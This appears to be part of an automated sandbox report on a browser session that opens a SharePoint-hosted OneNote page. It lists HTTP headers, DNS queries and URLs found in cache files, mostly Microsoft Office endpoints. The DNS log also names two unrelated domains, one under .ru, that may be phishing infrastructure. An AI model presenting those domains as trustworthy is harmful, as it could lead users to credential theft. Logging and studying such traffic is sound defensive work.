Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/production/1/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://amdat-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://amdat-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/production/1/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/production/10/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://amdat-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://amdat-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/production/10/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/production/50/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://amdat-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://amdat-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/production/50/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: amdat-my.sharepoint.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: common.online.office.com
Source: global traffic	DNS traffic detected: DNS query: onenoteonline.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: spoprod-a.akamaihd.net
Source: global traffic	DNS traffic detected: DNS query: amcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: storage.live.com
Source: global traffic	DNS traffic detected: DNS query: www.onenote.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: augloop.office.com
Source: global traffic	DNS traffic detected: DNS query: fa000000012.resources.office.net
Source: global traffic	DNS traffic detected: DNS query: fa000000096.resources.office.net
Source: global traffic	DNS traffic detected: DNS query: fa000000110.resources.office.net
Source: global traffic	DNS traffic detected: DNS query: ajax.aspnetcdn.com
Source: global traffic	DNS traffic detected: DNS query: fa000000111.resources.office.net
Source: global traffic	DNS traffic detected: DNS query: fa000000128.resources.office.net
Source: global traffic	DNS traffic detected: DNS query: fa000000138.resources.office.net
Source: global traffic	DNS traffic detected: DNS query: euc-common.online.office.com
Source: global traffic	DNS traffic detected: DNS query: messaging.engagement.office.com
Source: global traffic	DNS traffic detected: DNS query: goaheadplatform.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: ikorti-iao.cbg.ru
Source: global traffic	DNS traffic detected: DNS query: m365cdn.nel.measure.office.net

Source: unknown

HTTP traffic detected: POST /o/RemoteTelemetry.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveContent-Length: 115sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: text/plain;charset=UTF-8Accept: */*Origin: https://amdat-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://amdat-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableCache-Control: privateTransfer-Encoding: chunkedContent-Type: text/htmlP3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR"Set-Cookie: X-CorrelationId: bb4f545d-6427-45b4-ae4b-bc3fb257c4baX-UserSessionId: bb4f545d-6427-45b4-ae4b-bc3fb257c4baStrict-Transport-Security: max-age=31536000Timing-Allow-Origin: *X-OfficeFE: DB5PEPF00011817X-OfficeVersion: 16.0.17817.41007X-OfficeCluster: GEU7X-Partitioning-Enabled: trueX-Content-Type-Options: nosniffX-Download-Options: noopenContent-Disposition: attachmentX-OFFICEFD: DB5PEPF00011817X-WacFrontEnd: DB5PEPF00011817X-Cache: CONFIG_NOCACHEX-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetestX-MSEdge-Features: afd_waccluster,afd_onenoteslice_control,afd_visioslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetestX-MSEdge-Ref: Ref A: 341E8BF78CCB4271A3BDE46F8BCBC127 Ref B: BL2AA2030103049 Ref C: 2024-07-16T11:06:59ZDate: Tue, 16 Jul 2024 11:06:58 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenCache-Control: privateContent-Length: 1233Content-Type: text/htmlP3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR"Set-Cookie: X-CorrelationId: ee1bc5e4-13d4-417a-9b21-f80150a25a24X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05fStrict-Transport-Security: max-age=31536000Timing-Allow-Origin: *X-OfficeFE: DU2PEPF00017837X-OfficeVersion: 16.0.17903.41012X-OfficeCluster: GEU3X-Partitioning-Enabled: trueX-OFFICEFD: DU2PEPF00017837X-Cache: CONFIG_NOCACHEX-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetestX-MSEdge-Features: afd_waccluster,afd_visioslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetestX-MSEdge-Ref: Ref A: 047665A518E64A5E848BB46CEE33DA54 Ref B: EWR311000103017 Ref C: 2024-07-16T11:07:17ZDate: Tue, 16 Jul 2024 11:07:17 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Tue, 16 Jul 2024 11:07:34 GMTserver: LiteSpeedstrict-transport-security: max-age=63072000; includeSubDomainsx-frame-options: SAMEORIGINx-content-type-options: nosniffalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableCache-Control: privateTransfer-Encoding: chunkedContent-Type: text/htmlP3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR"Set-Cookie: X-CorrelationId: 057f6f4a-a74e-40fd-b2cd-cd95ea7330d2X-UserSessionId: 057f6f4a-a74e-40fd-b2cd-cd95ea7330d2Strict-Transport-Security: max-age=31536000Timing-Allow-Origin: *X-OfficeFE: DB5PEPF00011806X-OfficeVersion: 16.0.17817.41007X-OfficeCluster: GEU7X-Partitioning-Enabled: trueX-Content-Type-Options: nosniffX-Download-Options: noopenContent-Disposition: attachmentX-OFFICEFD: DB5PEPF00011806X-WacFrontEnd: DB5PEPF00011806X-Cache: CONFIG_NOCACHEX-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_controlX-MSEdge-Features: afd_waccluster,afd_visioslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_controlX-MSEdge-Ref: Ref A: 6FC93B101CD64BDC9F60FFAB6FA23FD8 Ref B: BL2AA2010204025 Ref C: 2024-07-16T11:08:07ZDate: Tue, 16 Jul 2024 11:08:07 GMTConnection: close

Source: chromecache_293.2.dr, chromecache_369.2.dr, chromecache_326.2.dr, chromecache_246.2.dr	String found in binary or memory: http://fb.me/use-check-prop-types
Source: chromecache_439.2.dr, chromecache_259.2.dr	String found in binary or memory: http://hammerjs.github.io/
Source: chromecache_281.2.dr, chromecache_447.2.dr	String found in binary or memory: http://support.office.com
Source: chromecache_363.2.dr	String found in binary or memory: http://www.mozilla.org/newlayout/xml/parsererror.xml
Source: chromecache_369.2.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://1drv.ms
Source: chromecache_281.2.dr, chromecache_447.2.dr	String found in binary or memory: https://Office.net
Source: chromecache_278.2.dr	String found in binary or memory: https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.5.0.min.js
Source: chromecache_422.2.dr	String found in binary or memory: https://aka.ms/MathAssistantSupport?client_id=onenote_wac&platform_id=web&correlation_id=
Source: chromecache_422.2.dr	String found in binary or memory: https://aka.ms/OfficeAddinOverview
Source: chromecache_422.2.dr	String found in binary or memory: https://aka.ms/Officeaddins
Source: chromecache_422.2.dr	String found in binary or memory: https://api.addins.omex.office.net/
Source: chromecache_396.2.dr, chromecache_241.2.dr	String found in binary or memory: https://apps.apple.com/in/app/microsoft-onenote/id410395246
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://attributes.engagement.office-int.com
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://attributes.engagement.office.com
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://attributes.engagement.officeppe.com
Source: chromecache_422.2.dr	String found in binary or memory: https://augloop-int.officeppe.com/v2
Source: chromecache_422.2.dr	String found in binary or memory: https://augloop.office.com/v2
Source: chromecache_281.2.dr, chromecache_447.2.dr	String found in binary or memory: https://c3web.trafficmanager.net
Source: chromecache_422.2.dr	String found in binary or memory: https://catalogapi.azure.com/
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://cdn.dev.fluidpreview.office.net
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://cdn.dev.fluidpreview.office.net/fluid/dev
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://cdn.dev.fluidpreview.office.net/fluid/stg
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://cdn.fluidpreview.office.net
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://cdn.fluidpreview.office.net/fluid/df
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://cdn.fluidpreview.office.net/fluid/gcc
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://cdn.fluidpreview.office.net/fluid/prod
Source: chromecache_396.2.dr, chromecache_241.2.dr	String found in binary or memory: https://cdn.hubblecontent.msit.osi.office.net
Source: chromecache_396.2.dr, chromecache_241.2.dr	String found in binary or memory: https://cdn.hubblecontent.osi.office.net
Source: chromecache_278.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/161790740450_Scripts/BrowserUls.js
Source: chromecache_278.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/161790740450_Scripts/CommonDiagnostics.js
Source: chromecache_278.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/161790740450_Scripts/ExternalResources/js-cookie.js
Source: chromecache_278.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/161790740450_Scripts/Instrumentation.js
Source: chromecache_278.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/161790740450_Scripts/LearningTools/LearningTools.js
Source: chromecache_278.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/161790740450_Scripts/aria-web-telemetry-2.9.0.min.js
Source: chromecache_278.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/161790740450_Scripts/pickadate.min.js
Source: chromecache_429.2.dr, chromecache_423.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/images/meetings/insert_outlook_meeting_details16x16.png
Source: chromecache_429.2.dr, chromecache_423.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/images/meetings/insert_outlook_meeting_details32x32.png
Source: chromecache_429.2.dr, chromecache_423.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/images/meetings/insert_outlook_meeting_details48x48.png
Source: chromecache_429.2.dr, chromecache_423.2.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/images/meetings/insert_outlook_meeting_details80x80.png
Source: chromecache_373.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Source: chromecache_422.2.dr	String found in binary or memory: https://consent.config.office.com/consentcheckin/v1.0/consents
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://contentstorage.osi.office.net/images/2f4febe2cca96f7f.gif
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://contentstorage.osi.office.net/images/eb14b3fe6a1e1671.png
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://ecs.office.com
Source: chromecache_396.2.dr, chromecache_241.2.dr	String found in binary or memory: https://edog.onenote.com
Source: chromecache_412.2.dr, chromecache_361.2.dr	String found in binary or memory: https://euc-onenote.officeapps.live.com/o/RemoteUls.ashx
Source: chromecache_306.2.dr	String found in binary or memory: https://fa000000096.resources.office.net
Source: chromecache_306.2.dr	String found in binary or memory: https://fa000000096.resources.office.net/f7024bdc-7caf-4ca8-807d-2908f09640d6/1.0.2210.23001/en-us_w
Source: chromecache_363.2.dr	String found in binary or memory: https://fa000000096.resources.office.net/f7024bdc-7caf-4ca8-807d-2908f09640d6/1.0.2401.26003/en-us_w
Source: chromecache_239.2.dr, chromecache_316.2.dr	String found in binary or memory: https://fa000000128.resources.office.net
Source: chromecache_239.2.dr, chromecache_316.2.dr	String found in binary or memory: https://fa000000128.resources.office.net:3000/index.html
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://feross.org
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://feross.org/opensource
Source: chromecache_422.2.dr	String found in binary or memory: https://forms.office.com
Source: chromecache_422.2.dr	String found in binary or memory: https://forms.office.com/Pages/OneNoteMathAddinFunctionPage.aspx
Source: chromecache_322.2.dr, chromecache_266.2.dr, chromecache_422.2.dr	String found in binary or memory: https://forms.officeppe.com
Source: chromecache_357.2.dr, chromecache_446.2.dr, chromecache_307.2.dr	String found in binary or memory: https://github.com/OfficeDev/office-js/blob/release/LICENSE.md
Source: chromecache_385.2.dr, chromecache_253.2.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://github.com/uuidjs/uuid#getrandomvalues-not-supported
Source: chromecache_396.2.dr, chromecache_241.2.dr	String found in binary or memory: https://hedwigtestserver.blob.core.windows.net/builds/
Source: chromecache_396.2.dr, chromecache_241.2.dr	String found in binary or memory: https://hubblecontent.azureedge.eaglex.ic.gov
Source: chromecache_396.2.dr, chromecache_241.2.dr	String found in binary or memory: https://hubblecontent.azureedge.microsoft.scloud
Source: chromecache_422.2.dr	String found in binary or memory: https://inclient.store.office.com/gyro/clientstore/flyoutdetails/
Source: chromecache_281.2.dr, chromecache_447.2.dr	String found in binary or memory: https://login.live-int.com
Source: chromecache_281.2.dr, chromecache_447.2.dr	String found in binary or memory: https://login.live.com
Source: chromecache_281.2.dr, chromecache_447.2.dr	String found in binary or memory: https://login.microsoftonline-int.com
Source: chromecache_281.2.dr, chromecache_447.2.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_281.2.dr, chromecache_447.2.dr	String found in binary or memory: https://login.windows-ppe.net
Source: chromecache_281.2.dr, chromecache_447.2.dr	String found in binary or memory: https://login.windows.net
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://mths.be/punycode
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://my.microsoftpersonalcontent.com
Source: chromecache_422.2.dr	String found in binary or memory: https://office.visualstudio.com/DefaultCollection/OC/_wiki/wikis/OC.wiki/22688/Using-Dictation-on-yo
Source: chromecache_239.2.dr, chromecache_316.2.dr	String found in binary or memory: https://officeapps.live.com
Source: chromecache_396.2.dr, chromecache_241.2.dr	String found in binary or memory: https://osizewuspersimmon001.blob.core.windows.net
Source: chromecache_396.2.dr, chromecache_241.2.dr	String found in binary or memory: https://osiziwuspersimmon002.blob.core.windows.net
Source: chromecache_396.2.dr, chromecache_241.2.dr	String found in binary or memory: https://osizpscuspersimmon000.blob.core.windows.net
Source: chromecache_353.2.dr, chromecache_314.2.dr	String found in binary or memory: https://pf.events.data.cloudapp.onecollector.akadns.net/OneCollector/1.0/
Source: chromecache_357.2.dr, chromecache_446.2.dr, chromecache_307.2.dr	String found in binary or memory: https://raw.githubusercontent.com/jakearchibald/es6-promise/master/LICENSE
Source: chromecache_246.2.dr	String found in binary or memory: https://reactjs.org/link/react-polyfills
Source: chromecache_396.2.dr, chromecache_241.2.dr	String found in binary or memory: https://res-dev.cdn.officeppe.net
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://res-dod.cdn.office.net
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://res-dod.cdn.office.net/fluid/dod
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://res-gcch.cdn.office.net
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://res-gcch.cdn.office.net/fluid/gcch
Source: chromecache_239.2.dr, chromecache_316.2.dr	String found in binary or memory: https://res-h3.public.cdn.office.net
Source: chromecache_239.2.dr, chromecache_316.2.dr	String found in binary or memory: https://res-h3.sdf.cdn.office.net
Source: chromecache_396.2.dr, chromecache_363.2.dr, chromecache_241.2.dr, chromecache_306.2.dr	String found in binary or memory: https://res-sdf.cdn.office.net
Source: chromecache_239.2.dr, chromecache_363.2.dr, chromecache_316.2.dr, chromecache_306.2.dr	String found in binary or memory: https://res.cdn.office.net
Source: chromecache_231.2.dr	String found in binary or memory: https://res.cdn.office.net/admincenter/admin-main/2024.7.1.7/
Source: chromecache_231.2.dr	String found in binary or memory: https://res.cdn.office.net/admincenter/admin-main/2024.7.1.7/floodgate.en.bundle.js
Source: chromecache_239.2.dr, chromecache_316.2.dr	String found in binary or memory: https://res.sdf.cdn.office.net
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://roaming.edog.officeapps.live.com/rs/v1/settings
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://roaming.officeapps.live.com/rs/v1/settings
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://roaming.officeapps.partner.office365.cn/rs/v1/settings
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://roaming.osi.apps.mil/rs/v1/settings
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://roaming.osi.office.de/rs/v1/settings
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://roaming.osi.office365.us/rs/v1/settings
Source: chromecache_422.2.dr	String found in binary or memory: https://substrate.office.com/search/api/v1/suggestions
Source: chromecache_363.2.dr	String found in binary or memory: https://support.office.com/article/7afcb4f3-4aa2-443a-9b08-125a5d692576
Source: chromecache_396.2.dr, chromecache_241.2.dr	String found in binary or memory: https://support.office.com/article/ec43ed03-eb3c-4a10-8d9d-e9e5433c9ed2
Source: chromecache_281.2.dr, chromecache_447.2.dr	String found in binary or memory: https://support.office.com/f1/home?isAgave=true
Source: chromecache_281.2.dr, chromecache_447.2.dr	String found in binary or memory: https://support.office.com/f1/home?isAgave=true&helpid=126385
Source: chromecache_281.2.dr, chromecache_447.2.dr	String found in binary or memory: https://support.office.com/f1/home?isAgave=true&helpid=160272
Source: chromecache_281.2.dr, chromecache_447.2.dr	String found in binary or memory: https://support.office.com/f1/home?isAgave=true&helpid=161255
Source: chromecache_281.2.dr, chromecache_447.2.dr	String found in binary or memory: https://support.office.com/images/inapp-help-icon-32.png
Source: chromecache_281.2.dr, chromecache_447.2.dr	String found in binary or memory: https://support.office.com/images/inapp-help-icon-80.png
Source: chromecache_353.2.dr, chromecache_314.2.dr	String found in binary or memory: https://tb.events.data.cloudapp.onecollector.akadns.net/OneCollector/1.0/
Source: chromecache_396.2.dr, chromecache_241.2.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/
Source: chromecache_396.2.dr, chromecache_241.2.dr	String found in binary or memory: https://uci.edog.cdn.office.net/mirrored/smartlookup/
Source: chromecache_396.2.dr, chromecache_241.2.dr	String found in binary or memory: https://uciserviceintcdnwus.blob.core.windows.net/mirrored/smartlookup/
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://whiteboard.apps.mil
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://whiteboard.eaglex.ic.gov
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://whiteboard.microsoft.scloud
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://whiteboard.office.com/root/index.fluid.js
Source: chromecache_363.2.dr, chromecache_306.2.dr	String found in binary or memory: https://whiteboard.office365.us
Source: chromecache_353.2.dr, chromecache_314.2.dr	String found in binary or memory: https://www.office.com/launch
Source: chromecache_396.2.dr, chromecache_241.2.dr	String found in binary or memory: https://www.onenote.com
Source: chromecache_422.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/mathassistant
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=af-ZA&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=am-ET&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ar-SA&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=as-IN&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=az-Latn-AZ&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=be-BY&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=bg-BG&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=bn-BD&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=bn-IN&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=bs-Latn-BA&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ca-ES&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ca-ES-valencia&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=cs-CZ&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=cy-GB&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=da-DK&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=de-DE&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=el-GR&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=en-US&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=es-ES&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=et-EE&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=eu-ES&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=fa-IR&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=fi-FI&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=fil-PH&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=fr-FR&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ga-IE&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=gd-GB&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=gl-ES&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=gu-IN&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ha-Latn-NG&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=he-IL&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=hi-IN&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=hr-HR&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=hu-HU&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=hy-AM&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=id-ID&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ig-NG&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=is-IS&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=it-IT&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ja-JP&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ka-GE&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=kk-KZ&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=km-KH&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=kn-IN&temporaryLocalization=true
